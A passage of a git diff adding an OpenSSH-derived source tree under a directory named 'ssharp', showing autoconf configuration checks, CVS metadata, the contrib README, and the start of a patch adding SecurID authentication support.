"x$withval" != "$no" ; then + rsh_path=$withval + fi + ], + [ + AC_PATH_PROG(rsh_path, rsh) + ] +) + +AC_ARG_WITH(xauth, + [ --with-xauth=PATH Specify path to xauth program ], + [ + if test "x$withval" != "xno" ; then + xauth_path=$withval + fi + ], + [ + AC_PATH_PROG(xauth_path, xauth,,$PATH:/usr/X/bin:/usr/bin/X11:/usr/X11R6/bin:/usr/openwin/bin) + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + ] +) + +if test -z "$xauth_path" ; then + XAUTH_PATH="undefined" + AC_SUBST(XAUTH_PATH) +else + AC_DEFINE_UNQUOTED(XAUTH_PATH, "$xauth_path") + XAUTH_PATH=$xauth_path + AC_SUBST(XAUTH_PATH) +fi +if test ! -z "$rsh_path" ; then + AC_DEFINE_UNQUOTED(RSH_PATH, "$rsh_path") +fi + +# Check for mail directory (last resort if we cannot get it from headers) +if test ! -z "$MAIL" ; then + maildir=`dirname $MAIL` + AC_DEFINE_UNQUOTED(MAIL_DIRECTORY, "$maildir") +fi + +if test -z "$no_dev_ptmx" ; then + AC_CHECK_FILE("/dev/ptmx", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTMX) + have_dev_ptmx=1 + ] + ) +fi +AC_CHECK_FILE("/dev/ptc", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTS_AND_PTC) + have_dev_ptc=1 + ] +) + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +AC_ARG_WITH(random, + [ --with-random=FILE read entropy from FILE (default=/dev/urandom)], + [ + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + fi + ], + [ + # Check for random device + AC_CHECK_FILE("/dev/urandom", + [ + RANDOM_POOL="/dev/urandom"; + AC_SUBST(RANDOM_POOL) + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + ] + ) + ] +) + +# Check for PRNGD/EGD pool file +AC_ARG_WITH(prngd-port, + [ --with-prngd-port=PORT read entropy from PRNGD/EGD localhost:PORT], + [ + if test ! -z "$withval" -a "x$withval" != "xno" ; then + PRNGD_PORT="$withval" + AC_DEFINE_UNQUOTED(PRNGD_PORT, $PRNGD_PORT) + fi + ] +) + +# Check for PRNGD/EGD pool file +AC_ARG_WITH(prngd-socket, + [ --with-prngd-socket=FILE read entropy from PRNGD/EGD socket FILE (default=/var/run/egd-pool)], + [ + if test "x$withval" != "xno" ; then + PRNGD_SOCKET="$withval" + AC_DEFINE_UNQUOTED(PRNGD_SOCKET, "$PRNGD_SOCKET") + fi + ], + [ + # Check for existing socket only if we don't have a random device already + if test -z "$RANDOM_POOL" ; then + AC_MSG_CHECKING(for PRNGD/EGD socket) + # Insert other locations here + for sock in /var/run/egd-pool /dev/egd-pool /etc/entropy; do + if test -r $sock && $TEST_MINUS_S_SH -c "test -S $sock -o -p $sock" ; then + PRNGD_SOCKET="$sock" + AC_DEFINE_UNQUOTED(PRNGD_SOCKET, "$PRNGD_SOCKET") + break; + fi + done + if test ! -z "$PRNGD_SOCKET" ; then + AC_MSG_RESULT($PRNGD_SOCKET) + else + AC_MSG_RESULT(not found) + fi + fi + ] +) + + +# detect pathnames for entropy gathering commands, if we need them +INSTALL_SSH_PRNG_CMDS="" +rm -f prng_commands +if (test -z "$RANDOM_POOL" && test -z "$PRNGD") ; then + # Use these commands to collect entropy + OSSH_PATH_ENTROPY_PROG(PROG_LS, ls) + OSSH_PATH_ENTROPY_PROG(PROG_NETSTAT, netstat) + OSSH_PATH_ENTROPY_PROG(PROG_ARP, arp) + OSSH_PATH_ENTROPY_PROG(PROG_IFCONFIG, ifconfig) + OSSH_PATH_ENTROPY_PROG(PROG_PS, ps) + OSSH_PATH_ENTROPY_PROG(PROG_W, w) + OSSH_PATH_ENTROPY_PROG(PROG_WHO, who) + OSSH_PATH_ENTROPY_PROG(PROG_LAST, last) + OSSH_PATH_ENTROPY_PROG(PROG_LASTLOG, lastlog) + OSSH_PATH_ENTROPY_PROG(PROG_DF, df) + OSSH_PATH_ENTROPY_PROG(PROG_VMSTAT, vmstat) + OSSH_PATH_ENTROPY_PROG(PROG_UPTIME, uptime) + OSSH_PATH_ENTROPY_PROG(PROG_IPCS, ipcs) + OSSH_PATH_ENTROPY_PROG(PROG_TAIL, tail) + + INSTALL_SSH_PRNG_CMDS="yes" +fi +AC_SUBST(INSTALL_SSH_PRNG_CMDS) + + +AC_ARG_WITH(catman, + [ --with-mantype=man|cat|doc Set man page type], + [ + case "$withval" in + man|cat|doc) + MANTYPE=$withval + ;; + *) + AC_MSG_ERROR(invalid man type: $withval) + ;; + esac + ] +) +if test -z "$MANTYPE"; then + AC_PATH_PROGS(NROFF, nroff awf, /bin/false, /usr/bin:/usr/ucb) + if ${NROFF} -mdoc ${srcdir}/ssh.1 >/dev/null 2>&1; then + MANTYPE=doc + elif ${NROFF} -man ${srcdir}/ssh.1 >/dev/null 2>&1; then + MANTYPE=man + else + MANTYPE=cat + fi +fi +AC_SUBST(MANTYPE) +if test "$MANTYPE" = "doc"; then + mansubdir=man; +else + mansubdir=$MANTYPE; +fi +AC_SUBST(mansubdir) + +# Check whether to enable MD5 passwords +MD5_MSG="no" +AC_ARG_WITH(md5-passwords, + [ --with-md5-passwords Enable use of MD5 passwords], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(HAVE_MD5_PASSWORDS) + MD5_MSG="yes" + fi + ] +) + +# Whether to disable shadow password support +AC_ARG_WITH(shadow, + [ --without-shadow Disable shadow password support], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(DISABLE_SHADOW) + disable_shadow=yes + fi + ] +) + +if test -z "$disable_shadow" ; then + AC_MSG_CHECKING([if the systems has expire shadow information]) + AC_TRY_COMPILE( + [ +#include +#include + struct spwd sp; + ],[ sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; ], + [ sp_expire_available=yes ], [] + ) + + if test "x$sp_expire_available" = "xyes" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAS_SHADOW_EXPIRE) + else + AC_MSG_RESULT(no) + fi +fi + +# Use ip address instead of hostname in $DISPLAY +if test ! -z "$IPADDR_IN_DISPLAY" ; then + DISPLAY_HACK_MSG="yes" + AC_DEFINE(IPADDR_IN_DISPLAY) +else + DISPLAY_HACK_MSG="no" + AC_ARG_WITH(ipaddr-display, + [ --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(IPADDR_IN_DISPLAY) + DISPLAY_HACK_MSG="yes" + fi + ] + ) +fi + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +AC_ARG_WITH(default-path, + [ --with-default-path=PATH Specify default \$PATH environment for server], + [ + if test "x$withval" != "xno" ; then + user_path="$withval" + SERVER_PATH_MSG="$withval" + fi + ], + [ + AC_TRY_RUN( + [ +/* find out what STDPATH is */ +#include +#ifdef HAVE_PATHS_H +# include +#endif +#ifndef _PATH_STDPATH +# define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin" +#endif +#include +#include +#include +#define DATA "conftest.stdpath" + +main() +{ + FILE *fd; + int rc; + + fd = fopen(DATA,"w"); + if(fd == NULL) + exit(1); + + if ((rc = fprintf(fd,"%s", _PATH_STDPATH)) < 0) + exit(1); + + exit(0); +} + ], [ user_path=`cat conftest.stdpath` ], + [ user_path="/usr/bin:/bin:/usr/sbin:/sbin" ], + [ user_path="/usr/bin:/bin:/usr/sbin:/sbin" ] + ) +# make sure $bindir is in USER_PATH so scp will work + t_bindir=`eval echo ${bindir}` + case $t_bindir in + NONE/*) t_bindir=`echo $t_bindir | sed "s~NONE~$prefix~"` ;; + esac + case $t_bindir in + NONE/*) t_bindir=`echo $t_bindir | sed "s~NONE~$ac_default_prefix~"` ;; + esac + echo $user_path | grep ":$t_bindir" > /dev/null 2>&1 + if test $? -ne 0 ; then + echo $user_path | grep "^$t_bindir" > /dev/null 2>&1 + if test $? -ne 0 ; then + user_path=$user_path:$t_bindir + AC_MSG_RESULT(Adding $t_bindir to USER_PATH so scp will work) + fi + fi + ] +) +AC_DEFINE_UNQUOTED(USER_PATH, "$user_path") +AC_SUBST(user_path) + +# Whether to force IPv4 by default (needed on broken glibc Linux) +IPV4_HACK_MSG="no" +AC_ARG_WITH(ipv4-default, + [ --with-ipv4-default Use IPv4 by connections unless '-6' specified], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(IPV4_DEFAULT) + IPV4_HACK_MSG="yes" + fi + ] +) + +AC_MSG_CHECKING([if we need to convert IPv4 in IPv6-mapped addresses]) +IPV4_IN6_HACK_MSG="no" +AC_ARG_WITH(4in6, + [ --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses], + [ + if test "x$withval" != "xno" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT(no) + fi + ],[ + if test "x$inet6_default_4in6" = "xyes"; then + AC_MSG_RESULT([yes (default)]) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT([no (default)]) + fi + ] +) + +# Whether to enable BSD auth support +AC_ARG_WITH(bsd-auth, + [ --with-bsd-auth Enable BSD auth support], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(BSD_AUTH) + bsd_auth=yes + fi + ] +) + +AC_MSG_CHECKING(whether to install ssh as suid root) +AC_ARG_ENABLE(suid-ssh, +[ --enable-suid-ssh Install ssh as suid root (default) + --disable-suid-ssh Install ssh without suid bit], +[ case "$enableval" in + no) + AC_MSG_RESULT(no) + SSHMODE=0711 + ;; + *) AC_MSG_RESULT(yes) + SSHMODE=04711 + ;; + esac ], + AC_MSG_RESULT(yes) + SSHMODE=04711 +) +AC_SUBST(SSHMODE) + + +# Where to place sshd.pid +piddir=/var/run +AC_ARG_WITH(pid-dir, + [ --with-pid-dir=PATH Specify location of ssh.pid file], + [ + if test "x$withval" != "xno" ; then + piddir=$withval + fi + ] +) + +# make sure the directory exists +if test ! -d $piddir ; then + piddir=`eval echo ${sysconfdir}` + case $piddir in + NONE/*) piddir=`echo $piddir | sed "s~NONE~$ac_default_prefix~"` ;; + esac +fi + +AC_DEFINE_UNQUOTED(_PATH_SSH_PIDDIR, "$piddir") +AC_SUBST(piddir) + +dnl allow user to disable some login recording features +AC_ARG_ENABLE(lastlog, + [ --disable-lastlog disable use of lastlog even if detected [no]], + [ AC_DEFINE(DISABLE_LASTLOG) ] +) +AC_ARG_ENABLE(utmp, + [ --disable-utmp disable use of utmp even if detected [no]], + [ AC_DEFINE(DISABLE_UTMP) ] +) +AC_ARG_ENABLE(utmpx, + [ --disable-utmpx disable use of utmpx even if detected [no]], + [ AC_DEFINE(DISABLE_UTMPX) ] +) +AC_ARG_ENABLE(wtmp, + [ --disable-wtmp disable use of wtmp even if detected [no]], + [ AC_DEFINE(DISABLE_WTMP) ] +) +AC_ARG_ENABLE(wtmpx, + [ --disable-wtmpx disable use of wtmpx even if detected [no]], + [ AC_DEFINE(DISABLE_WTMPX) ] +) +AC_ARG_ENABLE(libutil, + [ --disable-libutil disable use of libutil (login() etc.) [no]], + [ AC_DEFINE(DISABLE_LOGIN) ] +) +AC_ARG_ENABLE(pututline, + [ --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]], + [ AC_DEFINE(DISABLE_PUTUTLINE) ] +) +AC_ARG_ENABLE(pututxline, + [ --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]], + [ AC_DEFINE(DISABLE_PUTUTXLINE) ] +) +AC_ARG_WITH(lastlog, + [ --with-lastlog=FILE|DIR specify lastlog location [common locations]], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(DISABLE_LASTLOG) + else + conf_lastlog_location=$withval + fi + ] +) + +dnl lastlog, [uw]tmpx? detection +dnl NOTE: set the paths in the platform section to avoid the +dnl need for command-line parameters +dnl lastlog and [uw]tmp are subject to a file search if all else fails + +dnl lastlog detection +dnl NOTE: the code itself will detect if lastlog is a directory +AC_MSG_CHECKING([if your system defines LASTLOG_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = LASTLOG_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + AC_MSG_CHECKING([if your system defines _PATH_LASTLOG]) + AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = _PATH_LASTLOG; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + system_lastlog_path=no + ]) + ] +) + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f "$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + AC_MSG_WARN([** Cannot find lastlog **]) + dnl Don't define DISABLE_LASTLOG - that means we don't try wtmp/wtmpx + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + AC_DEFINE_UNQUOTED(CONF_LASTLOG_FILE, "$conf_lastlog_location") +fi + +dnl utmp detection +AC_MSG_CHECKING([if your system defines UTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmp = UTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmp_path=no ] +) +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + AC_DEFINE(DISABLE_UTMP) + fi + fi +fi +if test -n "$conf_utmp_location"; then + AC_DEFINE_UNQUOTED(CONF_UTMP_FILE, "$conf_utmp_location") +fi + +dnl wtmp detection +AC_MSG_CHECKING([if your system defines WTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmp = WTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmp_path=no ] +) +if test -z "$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + AC_DEFINE(DISABLE_WTMP) + fi + fi +fi +if test -n "$conf_wtmp_location"; then + AC_DEFINE_UNQUOTED(CONF_WTMP_FILE, "$conf_wtmp_location") +fi + + +dnl utmpx detection - I don't know any system so perverse as to require +dnl utmpx, but not define UTMPX_FILE (ditto wtmpx.) No doubt it's out +dnl there, though. +AC_MSG_CHECKING([if your system defines UTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmpx = UTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmpx_path=no ] +) +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_UTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_UTMPX_FILE, "$conf_utmpx_location") +fi + +dnl wtmpx detection +AC_MSG_CHECKING([if your system defines WTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmpx = WTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmpx_path=no ] +) +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_WTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_WTMPX_FILE, "$conf_wtmpx_location") +fi + + +# Change default command timeout for builtin PRNG +entropy_timeout=200 +AC_ARG_WITH(entropy-timeout, + [ --with-entropy-timeout Specify entropy gathering command timeout (msec)], + [ + if test "x$withval" != "xno" ; then + entropy_timeout=$withval + fi + ] +) +AC_DEFINE_UNQUOTED(ENTROPY_TIMEOUT_MSEC, $entropy_timeout) + + +if test ! -z "$blibpath" ; then + LDFLAGS="$LDFLAGS -blibpath:$blibpath" + AC_MSG_WARN([Please check and edit -blibpath in LDFLAGS in Makefile]) +fi + +AC_EXEEXT + +AC_OUTPUT(Makefile openbsd-compat/Makefile ssh_prng_cmds) + +# Print summary of options + +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$PRNGD_PORT" ; then + RAND_MSG="PRNGD/EGD (port localhost:$PRNGD_PORT)" + elif test ! -z "$PRNGD_SOCKET" ; then + RAND_MSG="PRNGD/EGD (socket $PRNGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + BUILTIN_RNG=1 + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval echo ${piddir}` ; G=`eval echo ${G}` +H=`eval echo ${user_path}` ; H=`eval echo ${H}` + +echo "" +echo "OpenSSH has been configured with the following options:" +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " sshd default user PATH: $H" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MANTYPE" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +if test ! -z "$bsd_auth"; then + echo " BSD Auth support: yes" +fi + +echo "" + +echo " Host: ${host}" +echo " Compiler: ${CC}" +echo " Compiler flags: ${CFLAGS}" +echo "Preprocessor flags: ${CPPFLAGS}" +echo " Linker flags: ${LDFLAGS}" +echo " Libraries: ${LIBS}" + +echo "" + +if test "x$PAM_MSG" = "xyes" ; then + echo "PAM is enabled. You may need to install a PAM control file for sshd," + echo "otherwise password authentication may fail. Example PAM control files" + echo "can be found in the contrib/ subdirectory" + echo "" +fi + +if test ! -z "$BUILTIN_RNG" ; then + echo "WARNING: you are using the builtin random number collection service." + echo "Please read WARNING.RNG and request that your OS vendor includes" + echo "/dev/random in future versions of their OS." + echo "" +fi + +if test ! -z "$NO_SFTP"; then + echo "sftp-server will be disabled. Your compiler does not support" + echo "64bit integers." + echo "" +fi + diff --git a/other/ssharp/contrib/CVS/Entries b/other/ssharp/contrib/CVS/Entries new file mode 100644 index 0000000..960e3da --- /dev/null +++ b/other/ssharp/contrib/CVS/Entries @@ -0,0 +1,14 @@ +/README/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/SecurID.diff/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/chroot.diff/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/gnome-ssh-askpass.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-copy-id/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-copy-id.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.pam.freebsd/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.pam.generic/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D/caldera//// +D/cygwin//// +D/hpux//// +D/redhat//// +D/solaris//// +D/suse//// diff --git a/other/ssharp/contrib/CVS/Repository b/other/ssharp/contrib/CVS/Repository new file mode 100644 index 0000000..987bd16 --- /dev/null +++ b/other/ssharp/contrib/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib diff --git a/other/ssharp/contrib/CVS/Root b/other/ssharp/contrib/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/CVS/Tag b/other/ssharp/contrib/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/README b/other/ssharp/contrib/README new file mode 100644 index 0000000..964cf9f --- /dev/null +++ b/other/ssharp/contrib/README @@ -0,0 +1,72 @@ +Other patches and addons for OpenSSH. Please send submissions to +djm@ibs.com.au + +Elsewhere +--------- + +http://www.imasy.or.jp/~gotoh/connect.c is a Unix and Windows +ProxyCommand which allows OpenSSH to make connections through a SOCKS5 +or http proxy which supports the CONNECT method (eg. Squid). + +In this directory +----------------- + +SecurID.diff + +This patch from Theo Schlossnagle adds SecurID support +to portable OpenSSH. Please refer to the text at the start of the patch +and to the author's homepage at http://www.omniti.com/~jesus/projects/ for +more details. + +chroot.diff: + +Ricardo Cerqueira patch to enable chrooting using the +wu-ftpd style magic home directories (containing '/./'). More details in +the head of the patch itself. + +ssh-copy-id: + +Phil Hands' shell script to automate the process of adding +your public key to a remote machine's ~/.ssh/authorized_keys file. + +gnome-ssh-askpass: + +A GNOME passphrase requester from Damien Miller with help +from several others. Compilation instructions are in the top of the file. + +sshd.pam.generic: + +A generic PAM config file which may be useful on your system. YMMV + +sshd.pam.freebsd: + +A PAM config file which works with FreeBSD's PAM port. Contributed by +Dominik Brettnacher + +mdoc2man.pl: + +Converts mdoc formated manpages into normal manpages. This can be used +on Solaris machines to provide manpages that are not preformated. +Contributed by Mark D. Roth + +redhat/ + +Files useful for operation on Redhat Linux systems. NB. it is recommended +that you use the prepackaged RPM versions on Redhat, as they have been +better tested. + +suse: + +RPM spec file an scripts for building SuSE packages + + +Externally maintained +--------------------- + +X11 SSH Askpass: + +Jim Knoble has written an excellent X11 +passphrase requester. This is highly recommended: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/ + diff --git a/other/ssharp/contrib/SecurID.diff b/other/ssharp/contrib/SecurID.diff new file mode 100644 index 0000000..c13aa39 --- /dev/null +++ b/other/ssharp/contrib/SecurID.diff @@ -0,0 +1,4117 @@ +This patch from Theo Schlossnagle adds SecurID +authentication support to portable OpenSSH. To apply, run the following +command from the source directory: + +patch -p1 < contrib/SecurID.diff + +You will need to re-run 'configure' if you have not already done so. Please +refer to the README.SecurID (which will be created by the above command) for +more information. + +The homepage for the latest version of this patch is: + +http://www.omniti.com/~jesus/projects/ + +Please refer to the homepage first if you have any problems. + +diff -ruN openssh-2.9p1-orig/Makefile.in openssh-2.9p1/Makefile.in +--- openssh-2.9p1-orig/Makefile.in Fri Apr 27 10:31:08 2001 ++++ openssh-2.9p1/Makefile.in Sun Apr 29 21:59:59 2001 +@@ -49,7 +49,7 @@ + + SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o sshtty.o readconf.o clientloop.o + +-SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-chall.o auth2-chall.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth2-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o auth-sia.o sshpty.o sshlogin.o loginrec.o servconf.o serverloop.o md5crypt.o session.o groupaccess.o ++SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-chall.o auth2-chall.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth2-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o auth-securid.o auth-sia.o sshpty.o sshlogin.o loginrec.o servconf.o serverloop.o md5crypt.o session.o groupaccess.o + + MANPAGES = scp.1.out ssh-add.1.out ssh-agent.1.out ssh-keygen.1.out ssh-keyscan.1.out ssh.1.out sshd.8.out sftp-server.8.out sftp.1.out + MANPAGES_IN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh-keyscan.1 ssh.1 sshd.8 sftp-server.8 sftp.1 +diff -ruN openssh-2.9p1-orig/README.SecurID openssh-2.9p1/README.SecurID +--- openssh-2.9p1-orig/README.SecurID Thu Jan 1 10:00:00 1970 ++++ openssh-2.9p1/README.SecurID Sun Apr 29 21:59:59 2001 +@@ -0,0 +1,90 @@ ++/* ++ * Author: Theo Schlossnagle ++ * Copyright (c) 2000,2001 Theo Schlossnagle ++ * All rights reserved ++ * Created: September 21, 2000 ++ * License: OpenSSH License. See the license for OpenSSH for more details. ++ * ++ * April 24, 2001: ++ * Updated to 2.9.0p1 -- jesus@omniti.com ++ * added autoconf clauses to fault if sdiclient.a and headers aren't there. ++ * ++ * April 21, 2001: ++ * Updated to 2.5.2p2 -- jesus@omniti.com ++ * Incorporated some bug fixes from Anders Olsen to fix next-token code. ++ * ++ * March 19, 2001: ++ * Updated to 2.5.2p1 -- jesus@omniti.com ++ * ++ * December 20, 2000: ++ * Updated to 2.3.0p1 -- jesus@omniti.com ++ * ++ * Jan 9th, 2001: ++ * Added SecurIDUsersFile, SecurIDIgnoreShell, AllowNonSecurID directives ++ * to the sshd_config file. These parameters are documented in the man page. ++ * This provides a more logical seperationg between fail-through due to system ++ * failure and fall-through by configuration. (fall-through vs. fail-through) ++ * -- jesus@omniti.com ++ */ ++ ++Seems like a few people are interested. So here is the patch. ++ ++This has only been tested on UNICIES that support PAM. There is untested ++(only 5 lines) code in auth-passwd.c that should provide the same ++functionality for normal (non-PAM) password verifications. ++ ++The patch is logical quite small, the physical patch bulky because it contains ++all the line number changes in "configure" after running autoconf on the ++modified configure.in file (in which I changed maybe 10 lines -- Yuk.) ++ ++The sshd man page has been patched too :-) Read it for the two new options ++relating to SecurID. ++ ++How it works: ++ ++0) apply patch ;-) ++1) copy sdi headers (in SecurID example directory) into either a standard ++include place (like /usr/local/include) or into the openssh source tree ++or add the --with-cflags=-I/path/to/ace/examples (where the include files are) ++2) copy the sdiclient.a file (same dir) into the openssh source tree. ++ ++Make sure that /var/ace contains your sdconf.rec, etc. If you installed ++SecurID client or server on a machine it should be this way already. If you ++used a non-standard install location do a "ln -s /path/to/ace/data /var/ace" ++ ++3) add --with-securid --with-pam to the configure flags. This module rides on ++the PAM authentication mechanism. ++ ++It will trigger if a user has a shell in /etc/passwd that ends with "sdshell" ++and it snags your shell the same way sdshell does. Users with other shells ++will log in as if SecurID didn't exist. ++ ++Done: ++ o Normal passcode verification ++ o Enter next token for verification ++ (use ssh -v to see the *useful* debgging messages) ++ ++ssh -v will let you know if: ++ o your code was accepted. ++ o your code was rejected. ++ o you are required to wait for the next token and enter that. ++ ++TODO: ++ o Handle PIN creation and changing (as their are by default three log in ++attempts, it should be straight forward to integrate in these additions -- ++both of these operations require exactly three user inputs.) ++ o Add sshd_config parameter to specify the VAR_ACE location (forced to ++/var/ace OR VAR_ACE environment variable now.) ++ o Make autoconf find the headers in logical places and add a long-option to ++give it a hint. I am an "autoconf idiot"... The small changes I made were ++challenging enough :) ++ ++ ++DISCLAIMER: ++ I works for me (yes, in production). If you get locked out of a production ++system becuase you replaced your sshd with this one, feeling really dumb is ++YOUR responsibility NOT mine. It is not my fault :-D ++ ++Hope this is useful! scp (and all other tools that can use ssh like rsync and ++cvs) will work now!!!! Hooray! ++ +diff -ruN openssh-2.9p1-orig/acconfig.h openssh-2.9p1/acconfig.h +--- openssh-2.9p1-orig/acconfig.h Fri Apr 6 03:15:08 2001 ++++ openssh-2.9p1/acconfig.h Sun Apr 29 21:59:59 2001 +@@ -187,6 +187,9 @@ + /* Define if you want S/Key support */ + #undef SKEY + ++/* Define if you want SecurID support */ ++#undef SECURID ++ + /* Define if you want TCP Wrappers support */ + #undef LIBWRAP + +diff -ruN openssh-2.9p1-orig/auth-pam.c openssh-2.9p1/auth-pam.c +--- openssh-2.9p1-orig/auth-pam.c Tue Apr 24 04:38:37 2001 ++++ openssh-2.9p1/auth-pam.c Sun Apr 29 21:59:59 2001 +@@ -170,7 +170,6 @@ + + return PAM_SUCCESS; + } +- + /* Called at exit to cleanly shutdown PAM */ + void do_pam_cleanup_proc(void *context) + { +@@ -213,7 +212,19 @@ + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; +- ++#ifdef SECURID ++ if (options.securid_authentication == 1) { ++ int ret; ++ debug("Attempting SecurID authentication user \"%.100s\"", pw->pw_name); ++ ret = auth_securid_password(pw, password); ++ if (ret >= 0) ++ return ret; ++ /* Only returns < 0 if the account is not a SecurID account */ ++ /* Fall back to ordinary passwd authentication. */ ++ } else { ++ debug("SecurID disabled in server config. Using PAM."); ++ } ++#endif + __pampasswd = password; + + pamstate = INITIAL_LOGIN; +diff -ruN openssh-2.9p1-orig/auth-passwd.c openssh-2.9p1/auth-passwd.c +--- openssh-2.9p1-orig/auth-passwd.c Wed Apr 25 22:50:19 2001 ++++ openssh-2.9p1/auth-passwd.c Sun Apr 29 21:59:59 2001 +@@ -147,6 +147,15 @@ + } 